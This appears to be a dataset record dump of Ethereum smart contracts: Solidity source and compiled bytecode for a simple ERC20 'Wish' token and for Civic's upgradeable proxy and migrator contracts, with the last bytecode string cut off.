* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || allowed[msg.sender][_spender]== 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract WishToken is StandardToken {
string public constant name = "Wish";
string public constant symbol = "WISH";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = (800) * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103b3565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103b9565b3480156101dd57600080fd5b50610195610530565b3480156101f257600080fd5b506101fb61053d565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610542565b34801561024157600080fd5b50610195600160a060020a0360043516610632565b34801561026257600080fd5b506100d361064d565b34801561027757600080fd5b5061016c600160a060020a0360043516602435610684565b34801561029b57600080fd5b5061016c600160a060020a0360043516602435610765565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107fe565b60408051808201909152600481527f5769736800000000000000000000000000000000000000000000000000000000602082015281565b60008115806103415750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561034c57600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015490565b6000600160a060020a03831615156103d057600080fd5b600160a060020a0384166000908152602081905260409020548211156103f557600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561042557600080fd5b600160a060020a03841660009081526020819052604090205461044e908363ffffffff61082916565b600160a060020a038086166000908152602081905260408082209390935590851681522054610483908363ffffffff61083b16565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104c5908363ffffffff61082916565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b682b5e3af16b1880000081565b601281565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561059757336000908152600260209081526040808320600160a060020a03881684529091528120556105cc565b6105a7818463ffffffff61082916565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600481527f5749534800000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561069b57600080fd5b336000908152602081905260409020548211156106b757600080fd5b336000908152602081905260409020546106d7908363ffffffff61082916565b3360009081526020819052604080822092909255600160a060020a03851681522054610709908363ffffffff61083b16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610799908363ffffffff61083b16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561083557fe5b50900390565b60008282018381101561084a57fe5b93925050505600a165627a7a7230582067ccf42953e32c24e63ba1c5062999e12788b8a77071f65ac75e7257bb22c9210029
|
{"success": true, "error": null, "results": {}}
| 3,595 |
0xbf95d4957d481473e39c70d3bc08896740e3ca96
|
pragma solidity ^0.4.24;
// File: contracts/upgradeability/ImplementationStorage.sol
/**
* @title ImplementationStorage
* @dev This contract stores proxy implementation address.
*/
contract ImplementationStorage {
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "cvc.proxy.implementation", and is validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0xa490aab0d89837371982f93f57ffd20c47991f88066ef92475bc8233036969bb;
/**
* @dev Constructor
*/
constructor() public {
assert(IMPLEMENTATION_SLOT == keccak256("cvc.proxy.implementation"));
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function implementation() public view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
}
// File: openzeppelin-solidity/contracts/AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
// File: contracts/upgradeability/CvcProxy.sol
/**
* @title CvcProxy
* @dev Transparent proxy with upgradeability functions and authorization control.
*/
contract CvcProxy is ImplementationStorage {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address implementation);
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "cvc.proxy.admin", and is validated in the constructor.
*/
bytes32 private constant ADMIN_SLOT = 0x2bbac3e52eee27be250d682577104e2abe776c40160cd3167b24633933100433;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* It executes the function if called by admin. Otherwise, it will delegate the call to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == currentAdmin()) {
_;
} else {
delegate(implementation());
}
}
/**
* Contract constructor.
* It sets the `msg.sender` as the proxy admin.
*/
constructor() public {
assert(ADMIN_SLOT == keccak256("cvc.proxy.admin"));
setAdmin(msg.sender);
}
/**
* @dev Fallback function.
*/
function() external payable {
require(msg.sender != currentAdmin(), "Message sender is not contract admin");
delegate(implementation());
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param _newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address _newAdmin) external ifAdmin {
require(_newAdmin != address(0), "Cannot change contract admin to zero address");
emit AdminChanged(currentAdmin(), _newAdmin);
setAdmin(_newAdmin);
}
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy.
* @param _implementation the address of the new implementation to be set.
*/
function upgradeTo(address _implementation) external ifAdmin {
upgradeImplementation(_implementation);
}
/**
* @dev Allows the proxy owner to upgrade and call the new implementation
* to initialize whatever is needed through a low level call.
* @param _implementation the address of the new implementation to be set.
* @param _data the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload.
*/
function upgradeToAndCall(address _implementation, bytes _data) external payable ifAdmin {
upgradeImplementation(_implementation);
//solium-disable-next-line security/no-call-value
require(address(this).call.value(msg.value)(_data), "Upgrade error: initialization method call failed");
}
/**
* @dev Returns the Address of the proxy admin.
* @return address
*/
function admin() external view ifAdmin returns (address) {
return currentAdmin();
}
/**
* @dev Upgrades the implementation address.
* @param _newImplementation the address of the new implementation to be set
*/
function upgradeImplementation(address _newImplementation) private {
address currentImplementation = implementation();
require(currentImplementation != _newImplementation, "Upgrade error: proxy contract already uses specified implementation");
setImplementation(_newImplementation);
emit Upgraded(_newImplementation);
}
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param _implementation Address to delegate.
*/
function delegate(address _implementation) private {
assembly {
// Copy msg.data.
calldatacopy(0, 0, calldatasize)
// Call current implementation passing proxy calldata.
let result := delegatecall(gas, _implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
// Propagate result (delegatecall returns 0 on error).
switch result
case 0 {revert(0, returndatasize)}
default {return (0, returndatasize)}
}
}
/**
* @return The admin slot.
*/
function currentAdmin() private view returns (address proxyAdmin) {
bytes32 slot = ADMIN_SLOT;
assembly {
proxyAdmin := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param _newAdmin Address of the new proxy admin.
*/
function setAdmin(address _newAdmin) private {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, _newAdmin)
}
}
/**
* @dev Sets the implementation address of the proxy.
* @param _newImplementation Address of the new implementation.
*/
function setImplementation(address _newImplementation) private {
require(
AddressUtils.isContract(_newImplementation),
"Cannot set new implementation: no contract code at contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, _newImplementation)
}
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/upgradeability/CvcMigrator.sol
/**
* @title CvcMigrator
* @dev This is a system contract which provides transactional upgrade functionality.
* It allows the ability to add 'upgrade transactions' for multiple proxy contracts and execute all of them in single transaction.
*/
contract CvcMigrator is Ownable {
/**
* @dev The ProxyCreated event is emitted when new instance of CvcProxy contract is deployed.
* @param proxyAddress New proxy contract instance address.
*/
event ProxyCreated(address indexed proxyAddress);
struct Migration {
address proxy;
address implementation;
bytes data;
}
/// List of registered upgrades.
Migration[] public migrations;
/**
* @dev Store migration record for the next migration
* @param _proxy Proxy address
* @param _implementation Implementation address
* @param _data Pass-through to proxy's updateToAndCall
*/
function addUpgrade(address _proxy, address _implementation, bytes _data) external onlyOwner {
require(AddressUtils.isContract(_implementation), "Migrator error: no contract code at new implementation address");
require(CvcProxy(_proxy).implementation() != _implementation, "Migrator error: proxy contract already uses specified implementation");
migrations.push(Migration(_proxy, _implementation, _data));
}
/**
* @dev Applies stored upgrades to proxies. Flushes the list of migration records
*/
function migrate() external onlyOwner {
for (uint256 i = 0; i < migrations.length; i++) {
Migration storage migration = migrations[i];
if (migration.data.length > 0) {
CvcProxy(migration.proxy).upgradeToAndCall(migration.implementation, migration.data);
} else {
CvcProxy(migration.proxy).upgradeTo(migration.implementation);
}
}
delete migrations;
}
/**
* @dev Flushes the migration list without applying them. Can be used in case wrong migration added to the list.
*/
function reset() external onlyOwner {
delete migrations;
}
/**
* @dev Transfers ownership from the migrator to a new address
* @param _target Proxy address
* @param _newOwner New proxy owner address
*/
function changeProxyAdmin(address _target, address _newOwner) external onlyOwner {
CvcProxy(_target).changeAdmin(_newOwner);
}
/**
* @dev Proxy factory
* @return CvcProxy
*/
function createProxy() external onlyOwner returns (CvcProxy) {
CvcProxy proxy = new CvcProxy();
// We emit event here to retrieve contract address later in the tx receipt
emit ProxyCreated(address(proxy));
return proxy;
}
/**
* @dev Returns migration record by index. Will become obsolete as soon as migrations() will be usable via web3.js
* @param _index 0-based index
* @return address Proxy address
* @return address Implementation address
* @return bytes Pass-through to proxy's updateToAndCall
*/
function getMigration(uint256 _index) external view returns (address, address, bytes) {
return (migrations[_index].proxy, migrations[_index].implementation, migrations[_index].data);
}
/**
* @dev Returns current stored migration count
* @return uint256 Count
*/
function getMigrationCount() external view returns (uint256) {
return migrations.length;
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631e5cb9be146100b457806335e608be146101c0578063684649a61461023b578063715018a6146102925780637eff275e146102a957806380c7507a1461030c5780638da5cb5b146104185780638fd3ab801461046f578063cdaf402814610486578063d826f88f146104b1578063f2fde38b146104c8575b600080fd5b3480156100c057600080fd5b506100df6004803603810190808035906020019092919050505061050b565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610183578082015181840152602081019050610168565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b3480156101cc57600080fd5b50610239600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190820180359060200191909192939192939050505061061c565b005b34801561024757600080fd5b50610250610a03565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029e57600080fd5b506102a7610ad1565b005b3480156102b557600080fd5b5061030a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd3565b005b34801561031857600080fd5b5061033760048036038101908080359060200190929190505050610ce5565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156103db5780820151818401526020810190506103c0565b50505050905090810190601f1680156104085780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561042457600080fd5b5061042d610e35565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047b57600080fd5b50610484610e5a565b005b34801561049257600080fd5b5061049b6111b2565b6040518082815260200191505060405180910390f35b3480156104bd57600080fd5b506104c66111bf565b005b3480156104d457600080fd5b50610509600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061122a565b005b60018181548110151561051a57fe5b90600052602060002090600302016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106125780601f106105e757610100808354040283529160200191610612565b820191906000526020600020905b8154815290600101906020018083116105f557829003601f168201915b5050505050905083565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561067757600080fd5b61068083611291565b151561071a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e8152602001807f4d69677261746f72206572726f723a206e6f20636f6e747261637420636f646581526020017f206174206e657720696d706c656d656e746174696f6e2061646472657373000081525060400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16635c60da1b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561079557600080fd5b505af11580156107a9573d6000803e3d6000fd5b505050506040513d60208110156107bf57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16141515156108a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001807f4d69677261746f72206572726f723a2070726f787920636f6e7472616374206181526020017f6c726561647920757365732073706563696669656420696d706c656d656e746181526020017f74696f6e0000000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b60016060604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184848080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508152509080600181540180825580915050906001820390600052602060002090600302016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020190805190602001906109f992919061139e565b5050505050505050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6157600080fd5b610a6961141e565b604051809103906000f080158015610a85573d6000803e3d6000fd5b5090508073ffffffffffffffffffffffffffffffffffffffff167efffc2da0b561cae30d9826d37709e9421c4725faebc226cbbb7ef5fc5e734960405160405180910390a28091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2e57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16638f283970826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610cc957600080fd5b505af1158015610cdd573d6000803e3d6000fd5b505050505050565b6000806060600184815481101515610cf957fe5b906000526020600020906003020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600185815481101515610d3a57fe5b906000526020600020906003020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600186815481101515610d7b57fe5b9060005260206000209060030201600201808054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e215780601f10610df657610100808354040283529160200191610e21565b820191906000526020600020905b815481529060010190602001808311610e0457829003601f168201915b505050505090509250925092509193909250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eb857600080fd5b600091505b6001805490508210156111a057600182815481101515610ed957fe5b906000526020600020906003020190506000816002018054600181600116156101000203166002900490501115611097578060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634f1ef2868260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836002016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018281038252838181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156110595780601f1061102e57610100808354040283529160200191611059565b820191906000526020600020905b81548152906001019060200180831161103c57829003601f168201915b50509350505050600060405180830381600087803b15801561107a57600080fd5b505af115801561108e573d6000803e3d6000fd5b50505050611193565b8060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633659cfe68260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561117a57600080fd5b505af115801561118e573d6000803e3d6000fd5b505050505b8180600101925050610ebd565b600160006111ae919061142e565b5050565b6000600180549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121a57600080fd5b60016000611228919061142e565b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128557600080fd5b61128e816112a4565b50565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112e057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113df57805160ff191683800117855561140d565b8280016001018555821561140d579182015b8281111561140c5782518255916020019190600101906113f1565b5b50905061141a9190611452565b5090565b604051610b288061153d83390190565b508054600082556003029060005260206000209081019061144f9190611477565b50565b61147491905b80821115611470576000816000905550600101611458565b5090565b90565b6114f191905b808211156114ed57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160006114e491906114f4565b5060030161147d565b5090565b90565b50805460018160011615610100020316600290046000825580601f1061151a5750611539565b601f0160209004906000526020600020908101906115389190611452565b5b505600608060405234801561001057600080fd5b5060405180807f6376632e70726f78792e696d706c656d656e746174696f6e000000000000000081525060180190506040518091039020600019167fa490aab0d89837371982f93f57ffd20c47991f88066ef92475bc8233036969bb6001026000191614151561007c57fe5b60405180807f6376632e70726f78792e61646d696e0000000000000000000000000000000000815250600f0190506040518091039020600019167f2bbac3e52eee27be250d682577104e2abe776c40160cd3167b24633933100433600102600019161415156100e757fe5b6100ff33610104640100000000026401000000009004565b610133565b60007f2bbac3e52eee27be250d682577104e2abe776c40160cd3167b2463393310043360010290508181555050565b6109e6806101426000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633659cfe6146101505780634f1ef286146101935780635c60da1b146101e15780638f28397014610238578063f851a4401461027b575b6100756102d2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561013e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f4d6573736167652073656e646572206973206e6f7420636f6e7472616374206181526020017f646d696e0000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61014e610149610303565b610334565b005b34801561015c57600080fd5b50610191600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061035a565b005b6101df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019190919293919293905050506103b7565b005b3480156101ed57600080fd5b506101f6610303565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024457600080fd5b50610279600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104ee565b005b34801561028757600080fd5b506102906106b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000807f2bbac3e52eee27be250d682577104e2abe776c40160cd3167b246339331004336001029050805491505090565b6000807fa490aab0d89837371982f93f57ffd20c47991f88066ef92475bc8233036969bb6001029050805491505090565b3660008037600080366000845af43d6000803e8060008114610355573d6000f35b3d6000fd5b6103626102d2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103a35761039e81610714565b6103b4565b6103b36103ae610303565b610334565b5b50565b6103bf6102d2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156104d8576103fb83610714565b3073ffffffffffffffffffffffffffffffffffffffff163483836040518083838082843782019150509250505060006040518083038185875af19250505015156104d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001807f55706772616465206572726f723a20696e697469616c697a6174696f6e206d6581526020017f74686f642063616c6c206661696c65640000000000000000000000000000000081525060400191505060405180910390fd5b6104e9565b6104e86104e3610303565b610334565b5b505050565b6104f66102d2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156106a057600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156105f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001807f43616e6e6f74206368616e676520636f6e74726163742061646d696e20746f2081526020017f7a65726f2061646472657373000000000000000000000000000000000000000081525060400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61061d6102d2565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a161069b81610880565b6106b1565b6106b06106ab610303565b610334565b5b50565b60006106be6102d2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610700576106f96102d2565b9050610711565b61071061070b610303565b610334565b5b90565b600061071e610303565b90508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610810576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260438152602001807f55706772616465206572726f723a2070726f787920636f6e747261637420616c81526020017f726561647920757365732073706563696669656420696d706c656d656e74617481526020017f696f6e000000000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b610819826108af565b7fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b82604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff